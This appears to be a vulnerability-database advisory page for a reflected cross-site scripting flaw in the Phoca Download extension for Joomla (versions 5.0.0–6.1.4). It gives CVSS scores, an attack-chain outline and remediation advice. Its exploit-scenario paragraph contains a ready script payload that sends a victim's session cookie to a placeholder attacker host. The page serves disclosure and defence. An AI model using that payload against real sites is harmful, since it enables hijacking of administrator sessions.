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Phoca Download CVE-2026-76569

| EUVDEUVD-2026-63211 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-20 Joomla GHSA-99wr-9r6w-w242
5.3
CVSS 4.0 · Vendor: Joomla
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Vendor (Joomla) PRIMARY
5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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6.1 MEDIUM

Reflected XSS is network-delivered, requires no privileges, needs user interaction (UI:R), achieves scope change to browser context (S:C), with limited confidentiality and integrity impact and no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Joomla).

CVSS VectorVendor: Joomla

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

1
Analysis Generated
Aug 20, 2026 - 08:17 vuln.today

DescriptionCVE.org

Joomla Extension - phoca.cz - Reflected XSS via the search GET parameter in Phoca Download 5.0.0-6.1.4

AnalysisAI

Reflected XSS in the Phoca Download Extension for Joomla (versions 5.0.0 through 6.1.4) allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in a victim's browser by crafting a malicious URL containing a payload in the 'search' GET parameter. Exploitation requires social engineering to lure a victim into clicking the crafted link, after which the attacker can steal session tokens, perform actions on behalf of the victim, or redirect to malicious sites. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Identify Joomla site with Phoca Download installed
Delivery
Craft malicious URL with XSS payload in search parameter
Exploit
Deliver link to victim via phishing or social engineering
Install
Victim clicks link and browser requests page
C2
Server reflects unsanitized payload in HTML response
Execute
Script executes in victim's browser context
Impact
Exfiltrate session cookie or perform action as victim

Vulnerability AssessmentAI

Exploitation The target Joomla site must have the Phoca Download Extension installed and active in versions 5.0.0 through 6.1.4. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 5.3 (Medium) is appropriately calibrated for a reflected XSS requiring user interaction (UI:P). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker constructs a URL targeting a vulnerable Joomla site (e.g., https://victim-site.com/index.php?option=com_phocadownload&view=category&search=<script>document.location='https://attacker.com/?c='+document.cookie</script>) and delivers it to a site administrator via phishing email or social media. When the admin clicks the link and their browser renders the search results page, the injected script executes and exfiltrates the admin's Joomla session cookie to the attacker, enabling full session hijacking. …
Remediation Upgrade Phoca Download Extension for Joomla to a version beyond 6.1.4 once a patched release is published by phoca.cz. … Detailed patch versions, workarounds, and compensating controls in full report.

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